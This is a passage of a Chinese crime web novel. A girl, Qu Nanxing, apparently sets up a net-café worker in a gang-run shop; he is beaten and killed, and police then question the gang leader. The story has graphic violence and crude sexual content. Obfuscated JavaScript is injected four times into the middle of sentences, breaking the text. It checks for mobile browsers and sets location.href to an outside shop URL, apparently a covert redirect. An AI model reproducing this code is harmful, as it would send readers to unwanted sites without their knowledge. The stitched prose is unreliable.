“去闹事有什么用啊?人家有权有势,还不是想怎么整就怎么整你。听说主犯那小孩去年就减刑出来了,你说可笑不可笑,杀人犯比被害人家属蹲的时间还短,这都什么世道……”
曲南星铲菜的手微微一顿,姑妈还在絮絮叨叨,但她已经没有心思听了。
青菜出锅了,整齐地码在红烧肉旁边,上面还加了几根榨菜。
曲南星盖上饭盒盖子,然后装进保温袋里,把口袋扎紧,提了起来。
出门前,姑妈嘱咐:“骑你姑父的自行车去吧,今天太晚了,别给他饿着。”
“好。”
曲南星应了一声,蹲在玄关旁系鞋带。
只听姑妈在身后说道:“还有,你小姨回来之后,别跟她胡说八道啊,钱的事情都是你妈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944431|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
葬礼的时候大家伙一起商量好的,签过协议的。”
曲南星垂下眼。
白色保温袋在门把手上微微摇晃,如同惨白的钟摆。
“我知道了。”
***
六点左右,天色还没完全黑,路灯已经亮起。
曲南星蹬着自行车,在人烟稀少的街道上骑行。
经过两道上坡和一条小巷,随后穿过邮政局前的十字路口,她在一栋两层建筑前停下来,将车靠在路边的围栏旁。
她想锁车,钥匙掏出来又觉得没有必要:恐怕没有哪个胆大包天的小偷会在派出所门口行窃。于是,她提着保温袋直接走了进去。
屋内灯火通明,摆放着用于接待的长桌和排椅,墙上贴有警徽以及“青云路派出所”字样的KT板。
一个男人听到动静,从旁边的房间里走出来。他穿着警服,头发杂乱,整个人看起来迷迷瞪瞪,似乎刚睡醒。
他是曲南星的表哥,陈昊俊。
“来啦。”
他打开饭盒,顿时皱起眉头,不满道:“搞什么,又是红烧肉,是昨天吃剩的吧。”
“姑父晚上不在家吃饭,就没烧菜。”
“好吧,老爸肯定是去喝酒了。”
表哥把饭盒放到咨询台上,见曲南星要走,又招呼道:“一起吃呗?这么多我也吃不完。”
曲南星扫视一圈,屋内没有其他人。
因为管辖范围较小,职员有限,派出所每晚只有一人值班。
“不了,姑姑还在家等我。”
表哥审视着她的面庞,蹙起眉:“我妈是不是又说你什么了?”
曲南星摇摇头。
“她就是啰嗦,你装听不见就行,要么,月底我陪你去监狱接人?我跟同事换成晚班。”
“不用了。”曲南星转身去推玻璃门,“车没锁,我先走了。”
“诶你等等!”
表哥站起来,快步走向隔壁的值班室,片刻后拎出一个纸袋:“我妈好像把网购的东西写错地址了,寄到这儿了,你帮她带回去。”
曲南星接过纸袋,里面发出布料摩挲的声音,“是雨衣吗?”
“雨衣?”表哥一愣。
“家里那件破洞太大没办法穿,我扔掉了,最近傍晚下雨,我骑车都是冒雨来的。”
“哦没事,我下了班去买,你先拆这个。”
曲南星嗯了声,打开纸袋的封口。
在看清里面的东西后,那一瞬间,她感到浑身的血液急速涌向头顶,胃里翻江倒海。
表哥伸手把东西掏出来,在空中抖开:“我估计是她看你穿的太旧了,帮忙买的吧。”
那是一条崭新的吊带睡裙,浅粉色蝴蝶结在胸口处摇摆,旁边挂着吊牌。
曲南星垂下眼,视线落在开了胶的运动鞋上,出门时系紧的鞋带正微微晃动。
姑妈绝不会给她买这种东西。
表哥的声音在头顶响起,带着笑:“买都买了,你回去试试呗,刚好这几天天热。”
他把睡裙折起来塞回去,动作很慢,丝绸质感擦过曲南星端着纸袋的手,像一条冷冰冰的蛇,随后是带有汗迹的、微黏的皮肤。
曲南星低着头没动。
对面的表哥试探着“嗯?”了一声。
“表哥。”
她忽然抬头出声,吓了对面一跳:“明天周六,你说要一起看电视体操决赛的,别忘了。”
12. 可以来一趟女卫生间最里面的隔间吗?
今天是周六。
照理来说顾客应该不会少,但傍晚时下起了暴雨,人流量因此骤减。
金振宇坐在柜台后环顾室内,只有四五台机位前面有人,其他都是空着的。
空气中弥漫着潮湿的青草气息,他抬头望向门口,雨水从屋檐上成串坠落,形成密不透风的水帘。
应该不会再有人来了。
金振宇想,这样也好,“打老虎”的时候如果客人多反而顾不过来。
况且今天只有他一个人在岗。
就在半个小时前,笑哥带着四五个兄弟出去了,听他们的口风,似乎会去那家位于市中心的五星级高档酒店用餐。
每个月十五日都是如此。金振宇不禁咬住后槽牙。
这种好事向来没有他的份,大概是因为入伙太迟,没资格进入帮派核心圈,只能做个负责看门和收拾烂摊子的杂兵。
他不敢有异议。想到笑哥那两道凌厉的眼神,即便是大热天,他的后颈也止不住地发冷。
昨晚有个黄毛砸场子,非说网吧的显卡晃眼要退钱,笑哥耐着性子调解了几句,见他还是不知死活地大吵大嚷,便挥手让人把他拖去了后巷。
金振宇不知道后巷里发生了什么。
但他今天早上来开店时,看到那黄毛从对面经过,一只眼睛肿的像灯泡,头上还有淤青,与他隔街对视一眼后,便触电般撒开腿逃走了。
也许是这个原因,笑哥今天心情不太好。
金振宇甩了甩头,强迫自己打起精神,如果等会他们吃完饭回来看见自己萎靡不振的样子,肯定又要挨骂。
正在这时,传来门帘被掀开的“啪嗒”声。金振宇抬头望去,顿时瞪圆了眼睛。
是她!那个女生……她,竟然来了?!
可今天不是周一三五的任何一天,她怎么会出现?
顾不得想太多,女生已收起雨伞插入门口的伞架,走到柜台前:“你好,半小时。”
她微微低着头,几粒雨滴缀在额边的碎发上,随着睫毛眨动而颤抖。
“啊,哦好。”金振宇回过神,手忙脚乱地翻找号码牌,“10号。”
“谢谢。”
看着女生露出微笑,金振宇一阵恍惚,即便对方已经走向了座位,他仍有种眩晕感。
妈的,怎么不多说几句。金振宇不禁懊恼。
他伸长脖子,从柜台后窥视着10号位。
只见女生打开了电脑,熟悉的网页浮现眼前,“基督山恩仇记”的英译名旁边,显示影片的剩余长度为19分钟。
是想把电影看完才来的吗?金振宇猜测,所以只上半小时?
过会儿去搭讪?要怎么说?
肯定不能像上次那个扑棱蛾子女那样,上手太直接了,会把人吓跑。
他正在胡思乱想,门口再度传来响动,紧接着几个男人走了进来,为首的正是笑哥。
他们未免回来太早了。
金振宇疑惑不解,站起来喊了声“笑哥好”,却见对方一脸阴霾,腮帮子紧绷着,眼神凶恶,赶忙把后半句询问咽回了肚子里。
笑哥没搭理他,径直走向楼梯间,几名帮派成员紧随其后,听脚步声是去了地下室。
走在最后的男人停下脚步,冲柜台道:“来包烟。记我账上。”
金振宇急忙把烟递过去,并帮对方点了火。
“笑哥这是怎么了?”犹豫再三,他忍不住问。
男人向前方努了努嘴,“触霉头了,心情能好吗。”
“怎么回事,你们不是去吃饭的吗?”
“是去吃饭,但是……在那个酒店看到谁了你猜。”
金振宇摇头。
“许倩倩。”男人吐出一口眼圈,笑得鸡贼,“还搂着个小白脸,估计是新男朋友。”
金振宇恍然大悟:“啊……难怪。”
许倩倩是笑哥的前女友,谈了四年分分合合,最终在上个月彻底断开,结果对方无缝衔接找到了新男友,还是个小白脸,要说笑哥不生气那是不可能的。
“要不是我们几个拦着,那小白脸就躺了。所以没吃咯,在路边买了几个煎饼果子凑合了下,回来忙‘打老虎’。”
“女人啊,哪有钱靠得住。”
丢下这句话,男人把烟屁股扔进桌上的烟灰缸里,抬脚向楼梯间走去。
临下楼前,他又回头低声叮嘱道:“今晚几个大‘老虎’都来,你一定把前面的场子镇住,千万别生事。”
金振宇坐在柜台后发愣,男人后面说的什么他一个字也没听进去。
许倩倩……
想起那女人,第一时间浮现在他脑海里的,是那对不亚于珠穆朗玛峰的大胸,以及翘得勾魂的屁股,当然脸蛋也是大美女,不然不可能被笑哥看中。
可惜他们分手了,以后也没机会看了。
金振宇回忆起,在他入伙的饭局上,笑哥让许倩倩给他倒酒,那女人微低着头时,V字抹胸漏出的无限风光令他头晕眼热,站都站不稳,迷迷糊糊地说了句“谢谢大嫂”。
回忆着那天的场景,精虫上脑,他腹下一阵热流涌动,周围温度仿佛提高了五度。
头顶忽然传来熟悉的声音:
“不好意思。”
金振宇一个激灵坐直身体,直勾勾看着面前的女生。
对方似乎被他吓了一跳,有些忐忑道:“那个……我的电脑好像没有声音了,能帮忙看看吗?”
“能能能。”
话音未落,金振宇已经跟着女生走到了10号位旁。
弯腰检查了一会,发现是耳机的连接线接触不良,他松了口气,站起身:“小问题,我帮你接好了,你试试。”
女生戴上耳机等了等,随后露出钦佩的表情,浅笑道:“真的好了诶,太感谢了,你真厉害。”
明明是周六,她却还穿着校服,衣领微湿,身上飘来一股若有若无的清香。
金振宇一阵意乱神迷,感觉快要难以抑制。
正在这时,有什么薄薄的东西落在他手心,以及一闪而过的体温。
金振宇低头。手里多了张纸条,上面写着:
八点半左右可以来一趟女卫生间最里面的隔间吗?我有话想跟你说,只要五分钟就好。
没等他缓过神,字条已经被人抽了回去。
抬起头,女生露出赧然的微笑,然后害羞般迅速转回视线,继续注视着屏幕上的英文电影,假装什么事都没有发生。
我操,真的……假的啊!!
金振宇懵了。
他不记得自己是怎么走回柜台的,只记得坐下后机械般打开手机看时间:
20:05
还有二十五分钟。
好漫长。
为什么要等到八点半?金振宇昏昏沉沉地想,可能她要准备准备。
准备……什么?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944432|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她在纸条上说只要五分钟。
五分钟,可以做很多事。而且是在女厕所。
金振宇产生了某种不真实的感觉,身体好像漂浮在空中,腹部灼烧得快要炸了。
忽然,后门的巷子里传来动静,脚步声伴随着压低的说话声越来越近,然后是一个接一个推开后门、走下楼梯的声音。
“老虎们”,来了。
这些声音如同一盆冷水,瞬间把从金振宇从迷离的美梦中浇醒了。不对,今晚不能擅离岗位。
可是……
他又抬头看向10号座位。女生专注地盯着屏幕,电影播放到了尾声部分:两个穿着滑稽洋装的男人拿着剑搏斗,没过一会,其中一个人把剑扎进了另一人的胸膛,后者挣扎着倒下。
如果不去赴约,她看完这部电影后,还会再来网吧吗?
女人的心思谁猜得透,说不定因为被放了鸽子而讨厌自己,以后再也不出现了。
金振宇对此感到焦虑,早知道刚刚应该先问清楚她的名字和电话号码,现在走过去又会显得很突兀。
……五分钟而已,应该出不了什么事,没关系的吧。
他侧过耳朵,仔细聆听地下室传来的声音,和往常一样,只有很轻微的说话声。似乎一切太平。
这栋建筑虽然老旧,但笑哥为了这每月一次的大生意,特地找人做了墙壁加厚,隔音效果显著。
金振宇用力吞了口口水,脑子里对于可能发生在厕所隔间的事情浮想联翩,不知不觉已经汗流浃背。
时间一分一秒地过去。终于,指针指向了八点半。
女生关掉了正在播放片尾曲的影片,转过头望着柜台的方向,与金振宇的视线在半空中相遇。
她眉头微皱,轻轻眨了眨眼,目光里增添了几分委屈,似乎对金振宇的无动于衷感到难过。
忍不了了。
金振宇哗啦一下推开椅子站了起来。
他向厕所走去。一开始脚步还尽量保持平静,当经过楼道口拐角时,几乎可以称得上飞奔。
女厕所里空无一人。
这是当然,因为现在整个网吧里除了那女生外没有其他女性,这一点正中金振宇下怀,他的肾上腺素正飞速分泌。
他按照纸条上的约定,打开最里面的隔间,走了进去,顺手把推门合上。
那女生等一会再来,大概是怕被人发现,所以要跟他前后脚错开。
闲着无聊,金振宇抬头环顾四周,除了下班前打扫卫生,还是头一次在其他时间来这里。
隔间很小,面积为一平米左右,装有脏兮兮的抽水器、粘着不明物体的蹲坑,和一个空垃圾桶。
很眼熟啊。金振宇想,跟学校里的厕所布局一样。
几年前的回忆不由自主地浮上心头。
曾经,他也跟普通学生一样,在课堂里打盹、下课跟朋友们打闹、放学相约网吧,也许他会从中学毕业,在某个本地技校再混几年,最后找个普通但能让爸妈满意的工作,混吃等死过一辈子。
但初中时经历的那件事,彻底打破了这些可能。
那件事……金振宇不禁感到一阵恶寒,连忙甩了甩头。妈的不想这些了,算老子倒霉。
……哎?那女生怎么还没来?
这时,头顶处传来“啪”的一声轻响,像是有什么东西断开了。
紧接着,灯灭了。
周围瞬间陷入一片黑暗。
13. 失而复得的钱包
金振宇愣了三秒钟才反应过来。
停电了?!
他当即要往外冲,电箱就在柜台后的杂物间里,得赶紧修理。
可是,门推不动。
他又用力推了几下,隔间的门却像是被什么东西在外面顶住了,不管他怎么推或者撞,都纹丝不动。
金振宇的脑子嗡的一声炸了,一时间搞不清楚到底什么状况。
外面隐约传来嘈杂声,大概是前面上网的人发现停电了,在到处找他。
然而金振宇无暇关心那些普通顾客,他现在满脑子想的都是地下室的情况,如果是小规模断电那还好,但如果是整个电路都跳闸,波及到地下室“打老虎”……
他不敢再往下想,额头渗出一滴滴冷汗,顺着太阳穴滑落。
“有人吗?”
他开始砸门,拳头在结实的树脂门板上砰砰作响。
无人回应。
如他所说,这栋建筑的隔音效果非常好。
而且因为停电,所有客人都集中在前厅,厕所附近没人,也就没人能听见他的呼救赶来帮忙。
金振宇急了,一边用力砸门一边大喊,同时紧张地聆听外界的响动。
他很快听见了说话时、脚步声,是从地下室的方向传来,越来越密集也越来越近,似乎有很多人正从楼梯跑上来,其中还夹杂着玻璃被砸碎的声音和男人愤怒的咆哮。
金振宇腿一软,顺着门板跌坐在地。
那是笑哥的声音。
十分钟后,厕所隔间里的金振宇被“解救”了出来。
说是解救,其实就是被人掐住脖子,从隔间里强行拽出来。
四五个人拖着他,来到网吧后的巷子。
在这过程中,金振宇没有做任何反抗,因为在厕所时他已经被打了个半死,拖着他跟拖一条死狗没什么区别。
后巷的一侧是矮墙,另一侧是商铺区的后门,现在正值半夜,所有店都已打烊。狭窄冗长的通道里,只有一堆废弃钢管堆成的小山,似乎是之前装修剩下的,被随意丢弃在这里。
这个地方,金振宇每天下班都会经过,从来没有留意过。
没想到,有一天自己会成为巷子里的主角。
他被扔到钢管堆旁,四五个昔日兄弟将他团团围住,他们没有立刻动手,而是不约而同转过头:“笑哥,怎么处理。”
“半残。”
笑哥发出指示。此刻,这人的眼睛里满是怒气,说话的尾音都在颤抖。
“不……不要,笑哥求求你……”
金振宇忍着痛向前爬行,抱住了笑哥的鞋子,哀求道:“我真不是有意的,这这是巧合……”
“那麻烦你告诉我,停电的时候你在干嘛?”
“我……我去尿尿。”
“你在女厕所里尿尿,啊?”
“我我,我走错了,我真不是有意的,笑哥求求你……”
笑哥露出冷笑,“从停电到我们找到你,那十分钟,你就躲隔间里啥也不干?怎么,早知道活不了,提前找地方藏是吧。”
“不不不是……是,是有人……”
金振宇舌头打了个结,那女孩的身影的在脑海里一闪而过,但他什么也顾不得了,一股脑说了出来:
“有人约我在女厕所见,说有重要的事要谈,我去了她却没来,然后就停电了,门还被堵了。笑哥,我是冤枉的啊!”
“你意思是有人做局?”
金振宇连连点头。
笑哥嘴角边的冷笑消失了。
金振宇急忙补充道:“是,是个女高中生,长得很漂亮,肯,肯定是对家派来搞我们……”
看到笑哥的表情,他说不下去了。
笑哥缓缓蹲下来,用手捏住金振宇的下巴,俯视着对方惊恐的表情,一字一顿道:“做局做你身上,你,配吗?”
周围人发出哄笑。
“你个狗日的杂种,肯定是在女厕所偷偷打飞机,还他妈把自己反锁在里面!老虎都给你放跑了,害老子白白亏了一大笔钱!”
笑哥咆哮着将他踢开,顺手拾起脚边的钢管,狠狠砸下去。
金振宇顿时眼前一黑,背部传来剧痛,身体好像被人齐腰折断了。
“打吧。”笑哥退后一步,冷冷指示。
话音未落,周围人纷纷抄起地上的钢管,雨点般砸在金振宇身上。
真是趁手的武器。
金振宇恍惚地想,难怪他们总在后巷里办事,也难怪那个黄毛头上有淤青。
***
不知过去了多久。
金振宇从剧痛中醒来,那群人已经走了。
他呻吟着,试图挪动身体,但四肢却像不属于自己似的,一点力气都使不上。
试了几次,他放弃了,低头看看血肉模糊的胳膊和被血浸透的T恤,决定暂且靠在钢管堆上休息。等天亮了,周围商铺开门的时候,就会有人帮自己喊救护车。
还好没死。
他庆幸地想,但同时感到绝望:帮派肯定回不去了,以后呢,该怎么办?
得罪了笑哥,榆州这片他都甭想再混了。
天空再次飘起小雨,打在金振宇脸上,混合着血水流进嘴里。好咸。
正在这时,不远处巷子的入口处,忽然传来脚步声。
金振宇眯起眼,试图分辨来人的身份,但雨水模糊了他的视线,什么也看不清。
等对方走近,他不由得大吃一惊。是……那个女生。
她穿着一件黑色雨衣,如同雨夜幽灵般,缓缓走到金振宇身边。
“你……”
金振宇咕哝着,努力仰起脸看向对方。
虽然没照镜子,但他知道自己现在的样子肯定很丑,大概是头破血流、表情像鬼一样狰狞。
在这种时候被心仪对象看到,真是太他妈丢脸了。
女孩神色淡定,似乎并不害怕,对他身上恐怖的血痕视而不见。
她微弯下腰,向金振宇伸出右手,旧雨衣的胳膊肘处破了个洞。
金振宇还以为她要扶自己起来,不禁感动不已。
不料,对方没有要拉他的意思,而是摊开了手心,里面躺着一个方块形的棕色物品。
金振宇认出来,这是他的钱包。
在昏迷前,他隐约看见其中一个打手伸手进裤子口袋,掏出他的钱包,然后把里面的东西都拿出来塞进了自己的裤兜。现在这肯定是个空钱包了。
金振宇咧着嘴,无奈地摇摇头。
不料,女孩开口道:“我在巷子口捡到这个,里面好像有钱,是你的吗?”
有钱?不可能吧,那些狗娘养的会留下哪怕一分钱吗?尽管这么想,但看到女生一直保持弯腰的姿势没动,鬼使神差间,金振宇还是哆嗦着伸手去拿了过来。
他打开了钱包。
竟然真如女生所说,夹层上露出了纸币的边角。
金振宇困惑不解,好奇心促使他撑开夹层,想一探究竟,只是做这一件简单的事,就令他筋疲力尽。
里面的钱很碎,有两张百元大钞,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944433|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若干十块和二十块的纸币,以及几个硬币。
金振宇的数学一直很烂,百以内加减法都要用计算器。
但是,不知道为什么,短短几秒钟内,他就算出了这些钱的总和。
两百六十五元。
这不是他的钱。
他盯着钱包,一种前所未有又不知来历的恐惧,瞬间席卷了全身,他却动弹不得。
与此同时,余光里好像有什么东西,边移动边闪着光。
金振宇茫然地抬起眼睛。
他看见,一根高高举起的钢管,向他的头顶轰然砸下。
***
嘭!
被高速挥动的球拍击中后,网球调转方向,旋转着坠入对面半场,砸在边缘的白线上。
“出界。”
指导老师兼裁判的声音响起,终止了这场漫长的拉锯战。
方怡宁扔下球拍,一边喊着“热死了热死了”一边奔向拦网旁的置物架,拿起水杯猛灌了几口。
见曲南星也放下球拍走过来,方怡宁递上水杯:“这破学校空调再修不好,一体育馆的人都得中暑。”
“今天人太多了,空气不流通,”
曲南星看向旁边,另一组社员正向她们点头,示意想要轮换场地,“我们趁机去休息一下吧。”
方怡宁接受了提议,于是两人拿上衣物,顺着场地边缘走去,在出口旁的排椅上坐下。
“话说,你周末看那个比赛了?”
环顾了一圈周围,没看见同班同学,方怡宁问道。
“嗯,很精彩。”
“谁赢了?中国队吗?”
曲南星摇头:“不,还是去年的冠军,叫拜尔斯,是个美国人。”
“不认识。”方怡宁无聊地叹了口气,“我就惨了,周六被老爸喊去陪他钓鱼,我靠你是不知道河边蚊子有多多,我被咬的满身是包。”
“那周日应该可以休息了吧。”
“才不呢,你忘了,我每周日要去上数学补习班的。哎,这周末算是毁了,下周六你无论如何都要陪我去看电影加逛街。”方怡宁忿忿道。
曲南星笑了笑,答应下来。
“那你周日呢,怎么过的?”方怡宁问,“在家写作业?”
“我去了图书馆,在那学了一整天,晚上才回去帮我姑妈值班。”
“又帮她值班?收银还是理货啊?”方怡宁皱起眉。
“都不是,帮忙打秤,晚上下雨没什么人,能抽空背背单词。”
“搞什么鬼,她自己的活总推给你一个高中生算怎么回事?她工资怎么不分你点?”
方怡宁越说越来气,站了起来,“上次也是,非要你在月考前一天晚上去值班,这大妈一点数都没有。”
曲南星垂下眼,淡淡道:“没关系,很快……就结束了。”
“什么?结束什么?”方怡宁没听清,问道。
这时,有个男生从练习场的方向朝她们跑来,仔细一看,原来是网球社的社长,边跑边向她们挥手,口中说着什么。
“找我们?”方怡宁疑惑,“出什么事了?”
社长跑到近前,视线在两人脸上兜了一圈:“曲南星,外面有人找你。”
“谁?”
两个女生对视了一眼,异口同声道。
“不认识,是个中年男的,说找曲南星有事,在体育馆外面等你。”
“是学校的老师吗?”方怡宁问。
“不知道,看着面生,”社长想了想,“他只说他姓李。”
14. 审讯
李成植站在体育馆外的树荫下,掏出纸巾擦拭额头的汗。
已经过了十月中旬,秋老虎依然肆虐,连续两天下过雨后,气温没有降低分毫,反而更加闷热。
他一边扇风一边环顾四周,听说正在进行什么活动课程,学生们三五成群地在体育馆内外穿梭,手上还拿着各种球类用具,边走边谈笑风生。
令人怀念啊。
李成植心想,自从二十年前大学毕业之后,几乎再也没有踏进过校园;这些看起来稀松平常的体育活动,自己上了年纪之后,也很久没有跟朋友们一起玩了。
这案子解决之后,约二队那几个老家伙一起去打场乒乓球怎么样?
他将视线移向馆内,靠近入口的地方摆着两台乒乓球桌,几名学生正在有来有回地打着。
那女孩是什么社的来着?乒乓球?不,不对,是网球。
李成植脑海中浮现起对方瘦弱的身影,那是在去年冬天留下的记忆,也是他们上一次见面的时候。
这一年间经历了很多事,升职、办案,还有开不完的会和写不完的报告。本来说好寒假再去看望,但因为刚好出了案子,一直没顾得上。
没想到,会因为这样一个契机而将再次见面。
至于这个契机……
李成植仰起头,回想昨天早上发生的事。
昨天,也就是十月十七日,上午八点接到群众报案,位于长虹区第三中学附近的巷子里,发现一具尸体。
由于是刑事案件,被移交给市刑侦队侦办。
李成植与一队的其他同事很快赶到了案发现场。
死者为男性,年纪在二十岁上下,死亡时间在昨晚9点到10点之间,死因是被人用铁棍类钝器击打头部,导致颅脑损伤死亡。身上没有其他财物,初步判断为遭遇抢劫后杀害。
报案人是旁边小卖部的店主,据称,他于早上七点五十分来到店内,为开门营业做准备。
当他打开位于小巷的后门时,却发现一名男子呈大字型仰卧在地上,全身布满血迹,已经没有了生命迹象。
报案人还表示,这名死者他认识,是隔壁网吧的营业员。
“就是这家网吧?”
程晓蔓指向旁边的店铺。卷帘门紧闭,门头上挂着“飞天网吧”字样的招牌。
小卖部店主点头称是,“有时候他店里啤酒饮料缺货了,会来我店里进一些回去,我跟他聊过几次,蛮友善的一个人啊,真惨。”
“附近有监控吗?”李成植问。
“恐怕没有。”
李成植环顾四周,这条小巷长且窄,位置偏僻,平时都鲜有人经过,事发时又是半夜,很难找到目击者。如果连监控也没有,那就棘手了。
他回过头,与小卖部老板游移的眼神撞个正着,后者立刻将视线转开。
“确定没有吗?”李成植直视着他,“店里或巷子里其他人安装的,不管是什么都可以,如果有线索请尽可能提供给我们。”
迟疑了一会,店主吞吞吐吐道:“其实……以前是有的,被人强拆了。”
“谁强拆的?”
“这家老板。”店主指了指网吧,压低声音:“他不让装……好像因为,做的不是正经生意。”
“不是正经生意,是什么意思?”程晓蔓皱眉。
店主匆匆扫视了一圈周围,看他的表情,似乎下定了很大决心:
“就是小混混组成的团伙,那叫什么来着?对对,就是□□。”
李成植从口袋里掏出笔和记事本,“麻烦说得详细些。”
“我在这呆了快二十年了,这家店是三年前开的,刚开张的时候我还纳闷呢,谁会在这么个犄角旮旯里开网吧?虽然是学校附近,但校门口已经有两家网吧了。这地方位置又偏,场子又小,不亏本就不错了。”
老板接着道:“过了几个月,我发现这家网吧不太对劲。”
“不对劲?”
“是的,起先是经常有好多不三不四的小流氓在店里面进进出出,一开始我还以为是客人,后来发现他们跟店员混得很熟,一个个称兄道弟的,那口吻那称呼,听着就跟电视剧里的□□似的。”
“那后来呢?”
“又过了一段时间,我发现那些人会聚在这个巷子里,做一些……可怕的事情。”
李成植停下写字的手,眼神从笔记本上方穿过来,犀利地注视着店主:“请接下去说。”
“去年年底,一个男大半夜被他们从后门拖出来,然后一群人围殴他,整个巷子都是惨叫声……差点给我吓死,从那之后都早早打烊了。”
“您报警了吗?”
“我……那群人威胁我不要多管闲事,不然连我的店一起砸。”
李成植抬头,与程晓蔓对视了一眼,两人同时获取到对方想表达的信息:这很可能与本次案件有关。
“网吧老板您认识吗?”李成植问道。
“我不晓得哪个是老板,但那小伙子聊天的时候提过,还称那个人叫‘笑哥’。”
程晓蔓随即说道:“我这就去查。”她避到一边,给市局档案室打电话。
这时,在旁边协助勘验现场的何骐走了过来,“师父,尸体旁边的多根钢管上都沾有血迹,需要鉴证科拿回去化验确定是死者还是其他人的。不过,”
他顿了顿,右手做出比划:“根据死者头部的凹陷宽度判断,凶器就是这些钢管之一。”
“有指纹吗?”
“有。凶手没戴手套,钢管上也没有擦拭痕迹。”
真是胆大包天。
李成植:“跟指纹库比对看看,很可能有记录。”
打完电话的程晓蔓回到二人身边,汇报道:
“李队,网吧法人名叫谈笑,1988年生人,有多次犯罪前科记录。最严重的一次是在2002年,因酒后伤人入狱,受害人送医后不治身亡,他被判有期徒刑两年。”
2002年,也就是说犯案时才14岁。
李成植想,无可救药的少年罪犯,不如在监狱里一直关到死好了。
下午一点,李成植驱车回到市局。
飞天网吧的相关人员、连同法人“笑哥”在内一共五名嫌疑人均被控制,在看守所等待第一次审讯。
警方动作如此迅速的原因,是这几人根本没有刻意躲藏,或者说,他们并没有意识到自己杀了人——
根据调查结果,刑警来到谈笑租住的公寓,屡次敲门无人回应,破门而入后,发现几人喝的烂醉,躺倒在卧室和沙发上。
被捕后,几人对案件表示震惊,均不承认死者与自己有关。
隔着审讯室的透明玻璃,李成植向里面望去。
室内陈设简单,只有一张方桌,两边各设一条长凳。一边坐着程晓蔓和何骐,正边问话边记录,另一边,则是个表情不耐烦的年轻男人。
这人身穿黑色T恤衫,头发两侧剃短,身材偏瘦但露出的胳膊肌肉紧实,还有一截飞龙图案的纹身。
他就是“笑哥”。
审讯室的声音通过设备传了出来,只听程晓蔓说道:
“你刚刚说,昨晚死者金振宇在网吧正常上班,这段时间你在哪?”
“我是老板,肯定也在店里啊。”
“那他下班后呢?是否跟你在一起?”
“下了班谁管他去哪,”男人发出嗤笑,“我又不是他对象。”
“死者有没有跟人发生争执?”
“不知道。”
“也就是说,你对金振宇的死亡过程一无所知?”
“没错。”男子笃定道,“警察同志,这回你们真抓错了。”
“那请你解释一下,”程晓蔓拿出档案袋,从里面抽出一张照片,推到他眼前,“为什么案发地附近的钢管上会有你和你几个朋友的指纹?”
这时,这个叫谈笑的不良青年脸上终于露出了一丝慌乱,他瞟了照片一眼,扭过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944434|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸去:“这……巧合吧,我们店就在旁边,走过路过摸到很正常。”
“那钢管上有死者的血迹也是巧合?”
谈笑绷着嘴一言不发,似乎在权衡,只过了不到十秒钟他就再次抬头,坦言道:“行,我自首,是我们干的。”
事态发展顺利得令人惊奇,程晓蔓朝玻璃窗的方向望了一眼,接着道:“详细描述一下犯案过程。”
不料,谈笑郑重其事地说道:“先声明啊,我只承认我们打了他,但人绝对不是我们弄死的。”
程晓蔓皱眉:“什么意思?”
“昨晚金振宇跟我们起了点小冲突,就到后巷里揍了他一顿,但我们下手都有分寸,绝对不可能弄出人命——”
程晓蔓打断他的话:“说具体点,是什么冲突?”
谈笑抿了抿嘴,说道:“他偷店里东西。”
“偷的什么东西?”
“几包烟,值不了几个钱。”
“所以就要打死人?”
“诶我都说了我们下手有分寸,怎么可能为了几包烟杀人?您别仗着长得美就乱给人扣帽子行不?”
“严肃点,问你话呢。”
何骐语气严厉,但似乎完全没起到威慑作用,男人连看都没看他一眼,向着程晓蔓皮笑肉不笑道:“你们就算去问我其他几个兄弟,也是这个结果,确实用了钢管,但就是敲几下吓唬他,根本没用多大力气。”
“前后过程持续了多长时间?”
“半个钟头吧,最多四十分钟。”
和死亡时间吻合。窗外,李成植想。
“施虐持续半小时,你还说只是吓唬?”程晓蔓冷冷道。
“拜托,我们是真冤枉。”谈笑看上去仿佛受了大委屈,“我们走的时候他还呼哧呼哧直喘气呢。而且要是打死人,我们不得逃命啊,还能老老实实呆家里,等着你们上门逮?”
